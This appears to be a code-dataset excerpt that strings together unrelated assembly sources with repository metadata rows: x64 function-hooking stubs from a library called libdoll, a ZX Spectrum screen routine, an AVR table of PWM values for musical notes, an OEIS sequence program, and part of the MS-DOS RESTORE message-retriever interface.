; Currently: rax, rcx, rdx, rbx, rbp, rsp, rdi, rsi, r8, r9, rflags, (garbage)
PUSHAD_CNT equ 12
; Size of register shadow space
; NOTE: The `sub/add rsp, 8 * 4`s around calling a function are MANDATORY
; That's the "shadow space" left for the caller function
; Under Debug it's safe to remove them, but under Release this space may get utilized
; See https://stackoverflow.com/a/30194393 for details
SHADOWSZ equ WORDSZ * 4
; pushad/popad are not supported on x64 :(
; NOTE: this macro corrupts rax
pushall macro
push rax
mov rax, rsp
lea rax, [rax + WORDSZ] ; lea instead of add to avoid flag corruption
; rax == original rsp
push rcx
push rdx
push rbx
push rax ; original rsp
push rbp
push rsi
push rdi
push r8
push r9
pushfq
push rax
; Stack alignment is also MANDATORY when it comes to optimized STL functions
; pushall must maintain an even number of push operations, so here's a garbage value
endm
popall macro
pop rax ; the garbage value
popfq
pop r9
pop r8
pop rdi
pop rsi
pop rbp
pop rax ; original rsp
pop rbx
pop rdx
pop rcx
; rax == original rsp
; stack == (original rax), (red zone...)
xchg rax, [rsp]
; swap(rax, [rsp])
; stack == (original rsp), (red zone...)
pop rsp
endm
; push for 64-bit immediates is not supported on x64 too :(
pushimm64 macro x
push rax
mov rax, x
; rax == x
; stack == (original rax), (red zone...)
xchg rax, [rsp]
; swap(rax, [rsp])
; stack == (x), (red zone...)
endm
HookStubBefore:
pushimm64 0CCCCCCCCCCCCCCCCh ; HookOEP placeholder
pushimm64 0CCCCCCCCCCCCCCCCh ; Address pointer placeholder
ret
HookStubBefore_end:
HookStubA:
pushall
sub rsp, SHADOWSZ
lea rax, DollThreadIsCurrent
call rax
add rsp, SHADOWSZ
lea rcx, [rsp + WORDSZ * PUSHAD_CNT]
test rax, rax
jnz __HookStubA_isDoll
sub rsp, SHADOWSZ
lea rax, DollOnHook
call rax
add rsp, SHADOWSZ
popall
ret
__HookStubA_isDoll:
sub rsp, SHADOWSZ
lea rax, DollHookGetCurrent
call rax
add rsp, SHADOWSZ
mov rdx, [rax + WORDSZ * 0] ; offset LIBDOLL_HOOK::pTrampoline
mov [rsp + WORDSZ * PUSHAD_CNT], rdx
popall
ret
HookStubB:
pushall
mov rcx, rsp
add rcx, WORDSZ * PUSHAD_CNT
sub rsp, SHADOWSZ
lea rax, DollOnAfterHook
call rax
add rsp, SHADOWSZ
popall
ret
HookStubOnDeny:
pushall
lea rcx, [rsp + WORDSZ * PUSHAD_CNT]
sub rsp, SHADOWSZ
lea rax, DollHookGetCurrent
call rax
add rsp, SHADOWSZ
mov rdx, [rax + WORDSZ * 1] ; offset LIBDOLL_HOOK::denySPOffset
add [rsp + WORDSZ * 7], rdx ; offset pushad::rsp
lea rcx, [rsp + WORDSZ * (PUSHAD_CNT + 1)] ; &(return addr)
mov rsi, [rcx]
mov [rcx + rdx], rsi
mov rdx, [rax + WORDSZ * 2] ; offset LIBDOLL_HOOK::denyAX
mov [rsp + WORDSZ * 11], rdx ; offset pushad::eax
popall
add rsp, WORDSZ
ret
HookStubEP:
push rax
pushall
lea rcx, [rsp + WORDSZ * PUSHAD_CNT]
sub rsp, SHADOWSZ
lea rax, DollOnEPHook
call rax
add rsp, SHADOWSZ
popall
ret
.const
HookStubBefore_len \
dq HookStubBefore_end - HookStubBefore
; Offset to HookOEP placeholder
HookStubBefore_HookOEPOffset \
dq 3
; Offset to address pointer placeholder
HookStubBefore_AddrOffset \
dq 18
; Registers saved by the pushad/pushall instruction
pushad_count \
dq PUSHAD_CNT
end | 20.783251 | 124 | 0.670775 |
6729a3a3ed9a8742add762efdb9f378983a41a48 | 386 | asm | Assembly | libsrc/target/zx/display/zx_saddrpright.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 38 | 2021-06-18T12:56:15.000Z | 2022-03-12T20:38:40.000Z | libsrc/target/zx/display/zx_saddrpright.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 2 | 2021-06-20T16:28:12.000Z | 2021-11-17T21:33:56.000Z | libsrc/target/zx/display/zx_saddrpright.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 6 | 2021-06-18T18:18:36.000Z | 2021-12-22T08:01:32.000Z | ; uchar *zx_saddrpright(void *pixeladdr, uchar *mask)
; CALLER linkage for function pointers
SECTION code_clib
PUBLIC zx_saddrpright
PUBLIC _zx_saddrpright
EXTERN zx_saddrpright_callee
EXTERN ASMDISP_ZX_SADDRPRIGHT_CALLEE
.zx_saddrpright
._zx_saddrpright
pop af
pop hl
pop de
push de
push hl
push af
jp zx_saddrpright_callee + ASMDISP_ZX_SADDRPRIGHT_CALLEE
| 17.545455 | 59 | 0.792746 |
2d52150654192c39f11b4b76d34156afaa8de4a3 | 18,221 | asm | Assembly | 8bit-gmail-notifier/8bit-gmail-notifier/PWM_music_notes.asm | borko-rajkovic/8bit-gmail-notifier | 56643cef6de0b58fa40438fc5fd853b70bd7da2f | [
"MIT"
] | 3 | 2019-10-03T11:57:44.000Z | 2019-10-11T22:44:39.000Z | 8bit-gmail-notifier/8bit-gmail-notifier/PWM_music_notes.asm | borko-rajkovic/8bit-gmail-notifier | 56643cef6de0b58fa40438fc5fd853b70bd7da2f | [
"MIT"
] | null | null | null | 8bit-gmail-notifier/8bit-gmail-notifier/PWM_music_notes.asm | borko-rajkovic/8bit-gmail-notifier | 56643cef6de0b58fa40438fc5fd853b70bd7da2f | [
"MIT"
] | null | null | null | /*
* PWM_music_notes.inc
*
* Date: 09.01.2016 15:58:11
* Author: Borko Rajkovic
*
* Input Capture Register (ICR) values for AVR MCU to create sounds with PWM
*
* Clock: 8000000 [Hz]
* Prescaler: 8
* PWM mode: phase/frequency correct 16 bit
*
* freq = fclk/(2*N*TOP) ; N-prescaler; TOP = ICR
* ICR = fclk/(2*N*freq) ; freq - desired frequency
*
* Example - tone F2 (frequency is 87,31Hz):
*
* ICR = 8MHz(2*8*87,31)=5726,72 ~ 5727
*
* freq = 8MHz(2*8*5727)=87,3057 Hz ~ 87,31 Hz
*
* Error = (87,3057/87,31 - 1)*100 = 0,004%
*
*/
.nolist
#ifndef __PWM_NOTES_H__
#define __PWM_NOTES_H__
/* Pause */
.equ P = 1
/* end */
.equ MUSIC_END = 0
/* Octave #2 */
.equ A2 = 4545 /* PWM: 110.01 Hz, note freq: 110.00 Hz, error 0.01% */
.equ A2b = 4816 /* PWM: 103.82 Hz, note freq: 103.83 Hz, error 0.01% */
.equ a2x = 4290 /* PWM: 116.55 Hz, note freq: 116.54 Hz, error 0.01% */
.equ ais2 = 4290 /* PWM: 116.55 Hz, note freq: 116.54 Hz, error 0.01% */
.equ b2 = 4050 /* PWM: 123.46 Hz, note freq: 123.47 Hz, error 0.01% */
.equ b2b = 4290 /* PWM: 116.55 Hz, note freq: 116.54 Hz, error 0.01% */
.equ c2 = 7645 /* PWM: 65.40 Hz, note freq: 65.41 Hz, error 0.01% */
.equ c2x = 7215 /* PWM: 69.30 Hz, note freq: 69.30 Hz, error 0.01% */
.equ cis2 = 7215 /* PWM: 69.30 Hz, note freq: 69.30 Hz, error 0.01% */
.equ d2 = 6810 /* PWM: 73.42 Hz, note freq: 73.42 Hz, error 0.01% */
.equ d2b = 7215 /* PWM: 69.30 Hz, note freq: 69.30 Hz, error 0.01% */
.equ d2x = 6428 /* PWM: 77.78 Hz, note freq: 77.78 Hz, error 0.00% */
.equ dis2 = 6428 /* PWM: 77.78 Hz, note freq: 77.78 Hz, error 0.00% */
.equ E2 = 6067 /* PWM: 82.41 Hz, note freq: 82.41 Hz, error 0.01% */
.equ E2b = 6428 /* PWM: 77.78 Hz, note freq: 77.78 Hz, error 0.00% */
.equ F2 = 5727 /* PWM: 87.31 Hz, note freq: 87.31 Hz, error 0.00% */
.equ F2x = 5405 /* PWM: 92.51 Hz, note freq: 92.50 Hz, error 0.01% */
.equ Fis2 = 5405 /* PWM: 92.51 Hz, note freq: 92.50 Hz, error 0.01% */
.equ G2 = 5102 /* PWM: 98.00 Hz, note freq: 98.00 Hz, error 0.00% */
.equ G2b = 5405 /* PWM: 92.51 Hz, note freq: 92.50 Hz, error 0.01% */
.equ G2x = 4816 /* PWM: 103.82 Hz, note freq: 103.83 Hz, error 0.01% */
.equ Gis2 = 4816 /* PWM: 103.82 Hz, note freq: 103.83 Hz, error 0.01% */
.equ H2 = 4050 /* PWM: 123.46 Hz, note freq: 123.47 Hz, error 0.01% */
.equ H2b = 4290 /* PWM: 116.55 Hz, note freq: 116.54 Hz, error 0.01% */
.equ bH2 = 4290 /* PWM: 116.55 Hz, note freq: 116.54 Hz, error 0.01% */
.equ xA2 = 4290 /* PWM: 116.55 Hz, note freq: 116.54 Hz, error 0.01% */
.equ xC2 = 7215 /* PWM: 69.30 Hz, note freq: 69.30 Hz, error 0.01% */
.equ xF2 = 5405 /* PWM: 92.51 Hz, note freq: 92.50 Hz, error 0.01% */
.equ xG2 = 5102 /* PWM: 98.00 Hz, note freq: 98.00 Hz, error 0.00% */
/* Octave #3 */
.equ A3 = 2273 /* PWM: 219.97 Hz, note freq: 220.00 Hz, error 0.01% */
.equ A3b = 2408 /* PWM: 207.64 Hz, note freq: 207.65 Hz, error 0.01% */
.equ A3x = 2145 /* PWM: 233.10 Hz, note freq: 233.08 Hz, error 0.01% */
.equ Ais3 = 2145 /* PWM: 233.10 Hz, note freq: 233.08 Hz, error 0.01% */
.equ B3 = 2025 /* PWM: 246.91 Hz, note freq: 246.94 Hz, error 0.01% */
.equ B3b = 2145 /* PWM: 233.10 Hz, note freq: 233.08 Hz, error 0.01% */
.equ C3 = 3822 /* PWM: 130.82 Hz, note freq: 130.81 Hz, error 0.01% */
.equ C3x = 3608 /* PWM: 138.58 Hz, note freq: 138.59 Hz, error 0.01% */
.equ Cis3 = 3608 /* PWM: 138.58 Hz, note freq: 138.59 Hz, error 0.01% */
.equ D3 = 3405 /* PWM: 146.84 Hz, note freq: 146.83 Hz, error 0.01% */
.equ D3b = 3608 /* PWM: 138.58 Hz, note freq: 138.59 Hz, error 0.01% */
.equ D3x = 3214 /* PWM: 155.57 Hz, note freq: 155.56 Hz, error 0.00% */
.equ Dis3 = 3214 /* PWM: 155.57 Hz, note freq: 155.56 Hz, error 0.00% */
.equ E3 = 3034 /* PWM: 164.80 Hz, note freq: 164.81 Hz, error 0.01% */
.equ E3b = 3214 /* PWM: 155.57 Hz, note freq: 155.56 Hz, error 0.00% */
.equ F3 = 2863 /* PWM: 174.64 Hz, note freq: 174.61 Hz, error 0.02% */
.equ F3x = 2703 /* PWM: 184.98 Hz, note freq: 185.00 Hz, error 0.01% */
.equ Fis3 = 2703 /* PWM: 184.98 Hz, note freq: 185.00 Hz, error 0.01% */
.equ G3 = 2551 /* PWM: 196.00 Hz, note freq: 196.00 Hz, error 0.00% */
.equ G3b = 2703 /* PWM: 184.98 Hz, note freq: 185.00 Hz, error 0.01% */
.equ G3x = 2408 /* PWM: 207.64 Hz, note freq: 207.65 Hz, error 0.01% */
.equ Gis3 = 2408 /* PWM: 207.64 Hz, note freq: 207.65 Hz, error 0.01% */
.equ H3 = 2025 /* PWM: 246.91 Hz, note freq: 246.94 Hz, error 0.01% */
.equ H3b = 2145 /* PWM: 233.10 Hz, note freq: 233.08 Hz, error 0.01% */
.equ bH3 = 2145 /* PWM: 233.10 Hz, note freq: 233.08 Hz, error 0.01% */
.equ xA3 = 2145 /* PWM: 233.10 Hz, note freq: 233.08 Hz, error 0.01% */
.equ xC3 = 3608 /* PWM: 138.58 Hz, note freq: 138.59 Hz, error 0.01% */
.equ xF3 = 2703 /* PWM: 184.98 Hz, note freq: 185.00 Hz, error 0.01% */
.equ xG3 = 2551 /* PWM: 196.00 Hz, note freq: 196.00 Hz, error 0.00% */
/* Octave #4 */
.equ A4 = 1136 /* PWM: 440.14 Hz, note freq: 440.00 Hz, error 0.03% */
.equ A4b = 1204 /* PWM: 415.28 Hz, note freq: 415.30 Hz, error 0.01% */
.equ A4x = 1073 /* PWM: 465.98 Hz, note freq: 466.16 Hz, error 0.04% */
.equ Ais4 = 1073 /* PWM: 465.98 Hz, note freq: 466.16 Hz, error 0.04% */
.equ B4 = 1012 /* PWM: 494.07 Hz, note freq: 493.88 Hz, error 0.04% */
.equ B4b = 1073 /* PWM: 465.98 Hz, note freq: 466.16 Hz, error 0.04% */
.equ C4 = 1911 /* PWM: 261.64 Hz, note freq: 261.63 Hz, error 0.01% */
.equ C4x = 1804 /* PWM: 277.16 Hz, note freq: 277.18 Hz, error 0.01% */
.equ Cis4 = 1804 /* PWM: 277.16 Hz, note freq: 277.18 Hz, error 0.01% */
.equ D4 = 1703 /* PWM: 293.60 Hz, note freq: 293.66 Hz, error 0.02% */
.equ D4b = 1804 /* PWM: 277.16 Hz, note freq: 277.18 Hz, error 0.01% */
.equ D4x = 1607 /* PWM: 311.14 Hz, note freq: 311.13 Hz, error 0.00% */
.equ Dis4 = 1607 /* PWM: 311.14 Hz, note freq: 311.13 Hz, error 0.00% */
.equ E4 = 1517 /* PWM: 329.60 Hz, note freq: 329.63 Hz, error 0.01% */
.equ E4b = 1607 /* PWM: 311.14 Hz, note freq: 311.13 Hz, error 0.00% */
.equ F4 = 1432 /* PWM: 349.16 Hz, note freq: 349.23 Hz, error 0.02% */
.equ F4x = 1351 /* PWM: 370.10 Hz, note freq: 369.99 Hz, error 0.03% */
.equ Fis4 = 1351 /* PWM: 370.10 Hz, note freq: 369.99 Hz, error 0.03% */
.equ G4 = 1276 /* PWM: 391.85 Hz, note freq: 392.00 Hz, error 0.04% */
.equ G4b = 1351 /* PWM: 370.10 Hz, note freq: 369.99 Hz, error 0.03% */
.equ G4x = 1204 /* PWM: 415.28 Hz, note freq: 415.30 Hz, error 0.01% */
.equ Gis4 = 1204 /* PWM: 415.28 Hz, note freq: 415.30 Hz, error 0.01% */
.equ H4 = 1012 /* PWM: 494.07 Hz, note freq: 493.88 Hz, error 0.04% */
.equ H4b = 1073 /* PWM: 465.98 Hz, note freq: 466.16 Hz, error 0.04% */
.equ bH4 = 1073 /* PWM: 465.98 Hz, note freq: 466.16 Hz, error 0.04% */
.equ xA4 = 1073 /* PWM: 465.98 Hz, note freq: 466.16 Hz, error 0.04% */
.equ xC4 = 1804 /* PWM: 277.16 Hz, note freq: 277.18 Hz, error 0.01% */
.equ xF4 = 1351 /* PWM: 370.10 Hz, note freq: 369.99 Hz, error 0.03% */
.equ xG4 = 1276 /* PWM: 391.85 Hz, note freq: 392.00 Hz, error 0.04% */
/* Octave #5 */
.equ A5 = 568 /* PWM: 880.28 Hz, note freq: 880.00 Hz, error 0.03% */
.equ A5b = 602 /* PWM: 830.56 Hz, note freq: 830.61 Hz, error 0.01% */
.equ A5x = 536 /* PWM: 932.84 Hz, note freq: 932.33 Hz, error 0.05% */
.equ Ais5 = 536 /* PWM: 932.84 Hz, note freq: 932.33 Hz, error 0.05% */
.equ B5 = 506 /* PWM: 988.14 Hz, note freq: 987.77 Hz, error 0.04% */
.equ B5b = 536 /* PWM: 932.84 Hz, note freq: 932.33 Hz, error 0.05% */
.equ C5 = 956 /* PWM: 523.01 Hz, note freq: 523.25 Hz, error 0.05% */
.equ C5x = 902 /* PWM: 554.32 Hz, note freq: 554.37 Hz, error 0.01% */
.equ Cis5 = 902 /* PWM: 554.32 Hz, note freq: 554.37 Hz, error 0.01% */
.equ D5 = 851 /* PWM: 587.54 Hz, note freq: 587.33 Hz, error 0.04% */
.equ D5b = 902 /* PWM: 554.32 Hz, note freq: 554.37 Hz, error 0.01% */
.equ D5x = 804 /* PWM: 621.89 Hz, note freq: 622.25 Hz, error 0.06% */
.equ Dis5 = 804 /* PWM: 621.89 Hz, note freq: 622.25 Hz, error 0.06% */
.equ E5 = 758 /* PWM: 659.63 Hz, note freq: 659.26 Hz, error 0.06% */
.equ E5b = 804 /* PWM: 621.89 Hz, note freq: 622.25 Hz, error 0.06% */
.equ F5 = 716 /* PWM: 698.32 Hz, note freq: 698.46 Hz, error 0.02% */
.equ F5x = 676 /* PWM: 739.64 Hz, note freq: 739.99 Hz, error 0.05% */
.equ Fis5 = 676 /* PWM: 739.64 Hz, note freq: 739.99 Hz, error 0.05% */
.equ G5 = 638 /* PWM: 783.70 Hz, note freq: 783.99 Hz, error 0.04% */
.equ G5b = 676 /* PWM: 739.64 Hz, note freq: 739.99 Hz, error 0.05% */
.equ G5x = 602 /* PWM: 830.56 Hz, note freq: 830.61 Hz, error 0.01% */
.equ Gis5 = 602 /* PWM: 830.56 Hz, note freq: 830.61 Hz, error 0.01% */
.equ H5 = 506 /* PWM: 988.14 Hz, note freq: 987.77 Hz, error 0.04% */
.equ H5b = 536 /* PWM: 932.84 Hz, note freq: 932.33 Hz, error 0.05% */
.equ bH5 = 536 /* PWM: 932.84 Hz, note freq: 932.33 Hz, error 0.05% */
.equ xA5 = 536 /* PWM: 932.84 Hz, note freq: 932.33 Hz, error 0.05% */
.equ xC5 = 902 /* PWM: 554.32 Hz, note freq: 554.37 Hz, error 0.01% */
.equ xF5 = 676 /* PWM: 739.64 Hz, note freq: 739.99 Hz, error 0.05% */
.equ xG5 = 638 /* PWM: 783.70 Hz, note freq: 783.99 Hz, error 0.04% */
/* Octave #6 */
.equ A6 = 284 /* PWM: 1760.56 Hz, note freq: 1760.00 Hz, error 0.03% */
.equ A6b = 301 /* PWM: 1661.13 Hz, note freq: 1661.22 Hz, error 0.01% */
.equ A6x = 268 /* PWM: 1865.67 Hz, note freq: 1864.66 Hz, error 0.05% */
.equ Ais6 = 268 /* PWM: 1865.67 Hz, note freq: 1864.66 Hz, error 0.05% */
.equ B6 = 253 /* PWM: 1976.28 Hz, note freq: 1975.53 Hz, error 0.04% */
.equ B6b = 268 /* PWM: 1865.67 Hz, note freq: 1864.66 Hz, error 0.05% */
.equ C6 = 478 /* PWM: 1046.03 Hz, note freq: 1046.50 Hz, error 0.05% */
.equ C6x = 451 /* PWM: 1108.65 Hz, note freq: 1108.73 Hz, error 0.01% */
.equ Cis6 = 451 /* PWM: 1108.65 Hz, note freq: 1108.73 Hz, error 0.01% */
.equ D6 = 426 /* PWM: 1173.71 Hz, note freq: 1174.66 Hz, error 0.08% */
.equ D6b = 451 /* PWM: 1108.65 Hz, note freq: 1108.73 Hz, error 0.01% */
.equ D6x = 402 /* PWM: 1243.78 Hz, note freq: 1244.51 Hz, error 0.06% */
.equ Dis6 = 402 /* PWM: 1243.78 Hz, note freq: 1244.51 Hz, error 0.06% */
.equ E6 = 379 /* PWM: 1319.26 Hz, note freq: 1318.51 Hz, error 0.06% */
.equ E6b = 402 /* PWM: 1243.78 Hz, note freq: 1244.51 Hz, error 0.06% */
.equ F6 = 358 /* PWM: 1396.65 Hz, note freq: 1396.91 Hz, error 0.02% */
.equ F6x = 338 /* PWM: 1479.29 Hz, note freq: 1479.98 Hz, error 0.05% */
.equ Fis6 = 338 /* PWM: 1479.29 Hz, note freq: 1479.98 Hz, error 0.05% */
.equ G6 = 319 /* PWM: 1567.40 Hz, note freq: 1567.98 Hz, error 0.04% */
.equ G6b = 338 /* PWM: 1479.29 Hz, note freq: 1479.98 Hz, error 0.05% */
.equ G6x = 301 /* PWM: 1661.13 Hz, note freq: 1661.22 Hz, error 0.01% */
.equ Gis6 = 301 /* PWM: 1661.13 Hz, note freq: 1661.22 Hz, error 0.01% */
.equ H6 = 253 /* PWM: 1976.28 Hz, note freq: 1975.53 Hz, error 0.04% */
.equ H6b = 268 /* PWM: 1865.67 Hz, note freq: 1864.66 Hz, error 0.05% */
.equ bH6 = 268 /* PWM: 1865.67 Hz, note freq: 1864.66 Hz, error 0.05% */
.equ xA6 = 268 /* PWM: 1865.67 Hz, note freq: 1864.66 Hz, error 0.05% */
.equ xC6 = 451 /* PWM: 1108.65 Hz, note freq: 1108.73 Hz, error 0.01% */
.equ xF6 = 338 /* PWM: 1479.29 Hz, note freq: 1479.98 Hz, error 0.05% */
.equ xG6 = 319 /* PWM: 1567.40 Hz, note freq: 1567.98 Hz, error 0.04% */
/* Octave #7 */
.equ A7 = 142 /* PWM: 3521.13 Hz, note freq: 3520.00 Hz, error 0.03% */
.equ A7b = 150 /* PWM: 3333.33 Hz, note freq: 3322.44 Hz, error 0.33% */
.equ A7x = 134 /* PWM: 3731.34 Hz, note freq: 3729.31 Hz, error 0.05% */
.equ Ais7 = 134 /* PWM: 3731.34 Hz, note freq: 3729.31 Hz, error 0.05% */
.equ B7 = 127 /* PWM: 3937.01 Hz, note freq: 3951.07 Hz, error 0.36% */
.equ B7b = 134 /* PWM: 3731.34 Hz, note freq: 3729.31 Hz, error 0.05% */
.equ C7 = 239 /* PWM: 2092.05 Hz, note freq: 2093.00 Hz, error 0.05% */
.equ C7x = 225 /* PWM: 2222.22 Hz, note freq: 2217.46 Hz, error 0.21% */
.equ Cis7 = 225 /* PWM: 2222.22 Hz, note freq: 2217.46 Hz, error 0.21% */
.equ D7 = 213 /* PWM: 2347.42 Hz, note freq: 2349.32 Hz, error 0.08% */
.equ D7b = 225 /* PWM: 2222.22 Hz, note freq: 2217.46 Hz, error 0.21% */
.equ D7x = 201 /* PWM: 2487.56 Hz, note freq: 2489.02 Hz, error 0.06% */
.equ Dis7 = 201 /* PWM: 2487.56 Hz, note freq: 2489.02 Hz, error 0.06% */
.equ E7 = 190 /* PWM: 2631.58 Hz, note freq: 2637.02 Hz, error 0.21% */
.equ E7b = 201 /* PWM: 2487.56 Hz, note freq: 2489.02 Hz, error 0.06% */
.equ F7 = 179 /* PWM: 2793.30 Hz, note freq: 2793.83 Hz, error 0.02% */
.equ F7x = 169 /* PWM: 2958.58 Hz, note freq: 2959.96 Hz, error 0.05% */
.equ Fis7 = 169 /* PWM: 2958.58 Hz, note freq: 2959.96 Hz, error 0.05% */
.equ G7 = 159 /* PWM: 3144.65 Hz, note freq: 3135.96 Hz, error 0.28% */
.equ G7b = 169 /* PWM: 2958.58 Hz, note freq: 2959.96 Hz, error 0.05% */
.equ G7x = 150 /* PWM: 3333.33 Hz, note freq: 3322.44 Hz, error 0.33% */
.equ Gis7 = 150 /* PWM: 3333.33 Hz, note freq: 3322.44 Hz, error 0.33% */
.equ H7 = 127 /* PWM: 3937.01 Hz, note freq: 3951.07 Hz, error 0.36% */
.equ H7b = 134 /* PWM: 3731.34 Hz, note freq: 3729.31 Hz, error 0.05% */
.equ bH7 = 134 /* PWM: 3731.34 Hz, note freq: 3729.31 Hz, error 0.05% */
.equ xA7 = 134 /* PWM: 3731.34 Hz, note freq: 3729.31 Hz, error 0.05% */
.equ xC7 = 225 /* PWM: 2222.22 Hz, note freq: 2217.46 Hz, error 0.21% */
.equ xF7 = 169 /* PWM: 2958.58 Hz, note freq: 2959.96 Hz, error 0.05% */
.equ xG7 = 159 /* PWM: 3144.65 Hz, note freq: 3135.96 Hz, error 0.28% */
#endif
.list
| 78.538793 | 95 | 0.434718 |
8d47c25f3bc180554bc90c625626c37719e2d65f | 1,203 | asm | Assembly | programs/oeis/267/A267092.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/267/A267092.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/267/A267092.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A267092: a(n) is the number of P-positions for n-modular Nim with 2 piles.
; 1,3,3,8,5,9,7,20,9,15,11,24,13,21,15,48,17,27,19,40,21,33,23,60,25,39,27,56,29,45,31,112,33,51,35,72,37,57,39,100,41,63,43,88,45,69,47,144,49,75,51,104,53,81,55,140,57,87,59,120,61,93,63,256,65,99,67,136,69,105,71,180,73,111,75,152,77,117,79,240,81,123,83,168,85,129,87,220,89,135,91,184,93,141,95,336,97,147,99,200,101,153,103,260,105,159,107,216,109,165,111,336,113,171,115,232,117,177,119,300,121,183,123,248,125,189,127,576,129,195,131,264,133,201,135,340,137,207,139,280,141,213,143,432,145,219,147,296,149,225,151,380,153,231,155,312,157,237,159,560,161,243,163,328,165,249,167,420,169,255,171,344,173,261,175,528,177,267,179,360,181,273,183,460,185,279,187,376,189,285,191,768,193,291,195,392,197,297,199,500,201,303,203,408,205,309,207,624,209,315,211,424,213,321,215,540,217,327,219,440,221,333,223,784,225,339,227,456,229,345,231,580,233,351,235,472,237,357,239,720,241,363,243,488,245,369,247,620,249,375
mov $2,$0
cal $0,91512 ; a(n) is the largest integer m such that 2^m divides (2*n)^n, i.e., the exponent of 2 in (2*n)^n.
add $0,6
add $2,$0
mov $0,1
sub $1,$2
sub $0,$1
mov $1,$0
sub $1,7
div $1,2
add $1,1
| 80.2 | 917 | 0.701579 |
1600f5576d8e0618b58182035105b7805978e066 | 6,383 | asm | Assembly | cmd/restore/_msgret.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | cmd/restore/_msgret.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | cmd/restore/_msgret.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | page 60,132
name _msgret
title C to Message Retriever
;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1991
; * All Rights Reserved.
; */
;-------------------------------------------------------------------
;
; MODULE: _msgret
;
; PURPOSE: Supplies an interface between C programs and
; the DOS 3.3 message retriever
;
; CALLING FORMAT:
; sysloadmsg(&inregs,&outregs);
; sysdispmsg(&inregs,&outregs);
;
; DATE: 5-21-87
;
;-------------------------------------------------------------------
INCLUDE SYSMSG.INC ;PERMIT SYSTEM MESSAGE HANDLER DEFINITION ;AN000;
MSG_UTILNAME <RESTORE> ;IDENTIFY THE COMPONENT ;AN000;
.8087
_TEXT SEGMENT BYTE PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT WORD PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT WORD PUBLIC 'CONST'
CONST ENDS
_BSS SEGMENT WORD PUBLIC 'BSS'
_BSS ENDS
DGROUP GROUP CONST, _BSS, _DATA
ASSUME CS: _TEXT, DS: _TEXT, SS: DGROUP, ES: DGROUP
public _sysloadmsg
public _sysdispmsg
;-------------------------------------------------------------------
;-------------------------------------------------------------------
_DATA segment
.XLIST
.XCREF
MSG_SERVICES <MSGDATA> ;DATA AREA FOR THE MESSAGE HANDLER ;AN000;
.LIST
.CREF
_DATA ends
_TEXT segment
;-------------------------------------------------------------------
;DEFAULT=CHECK DOS VERSION
;DEFAULT=NEARmsg
;DEFAULT=INPUTmsg
;DEFAULT=NUMmsg
;DEFAULT=NO TIMEmsg
;DEFAULT=NO DATEmsg
.XLIST
.XCREF
MSG_SERVICES <LOADmsg,INPUTmsg,DISPLAYmsg,CHARmsg,NUMmsg,DATEmsg,FARmsg> ;AN000;6
MSG_SERVICES <RESTORE.CTL,RESTORE.CLA,RESTORE.CL1,RESTORE.CL2> ;AN000;6
.LIST
.CREF
;-------------------------------------------------------------------
_sysloadmsg proc near
push bp ; save user's base pointer
mov bp,sp ; set bp to current sp
push di ; save some registers
push si
; copy C inregs into proper registers
mov di,[bp+4] ; fix di (arg 0)
;-------------------------------------------------------------------
mov ax,[di+0ah] ; load di
push ax ; the di value from inregs is now on stack
mov ax,[di+00] ; get inregs.x.ax
mov bx,[di+02] ; get inregs.x.bx
mov cx,[di+04] ; get inregs.x.cx
mov dx,[di+06] ; get inregs.x.dx
mov si,[di+08] ; get inregs.x.si
pop di ; get inregs.x.di from stack
push bp ; save base pointer
;-------------------------------------------------------------------
call sysloadmsg ; call the message retriever
;-------------------------------------------------------------------
pop bp ; restore base pointer
push di ; the di value from call is now on stack
mov di,[bp+6] ; fix di (arg 1)
mov [di+00],ax ; load outregs.x.ax
mov [di+02],bx ; load outregs.x.bx
mov [di+04],cx ; load outregs.x.cx
mov [di+06],dx ; load outregs.x.dx
mov [di+08],si ; load outregs.x.si
lahf ; get flags into ax
mov al,ah ; move into low byte
mov [di+0ch],ax ; load outregs.x.cflag
pop ax ; get di from stack
mov [di+0ah],ax ; load outregs.x.di
;-------------------------------------------------------------------
pop si ; restore registers
pop di
mov sp,bp ; restore sp
pop bp ; restore user's bp
ret
_sysloadmsg endp
;_sysgetmsg proc near
;
; push bp ; save user's base pointer
; mov bp,sp ; set bp to current sp
; push di ; save some registers
; push si
;
;; copy C inregs into proper registers
;
; mov di,[bp+4] ; fix di (arg 0)
;
;;-------------------------------------------------------------------
;
; mov ax,[di+0ah] ; load di
; push ax ; the di value from inregs is now on stack
;
; mov ax,[di+00] ; get inregs.x.ax
; mov bx,[di+02] ; get inregs.x.bx
; mov cx,[di+04] ; get inregs.x.cx
; mov dx,[di+06] ; get inregs.x.dx
; mov si,[di+08] ; get inregs.x.si
; pop di ; get inregs.x.di from stack
;
; push bp ; save base pointer
;
;;-------------------------------------------------------------------
; call sysgetmsg ; call the message retriever
;;-------------------------------------------------------------------
;
; pop bp ; restore base pointer
; push di ; the di value from call is now on stack
; mov di,[bp+6] ; fix di (arg 1)
;
; mov [di+00],ax ; load outregs.x.ax
; mov [di+02],bx ; load outregs.x.bx
; mov [di+04],cx ; load outregs.x.cx
; mov [di+06],dx ; load outregs.x.dx
; mov [di+08],si ; load outregs.x.si
;
; lahf ; get flags into ax
; mov al,ah ; move into low byte
; mov [di+0ch],ax ; load outregs.x.cflag
;
; pop ax ; get di from stack
; mov [di+0ah],ax ; load outregs.x.di
;
;;-------------------------------------------------------------------
;
; pop si ; restore registers
; pop di
; mov sp,bp ; restore sp
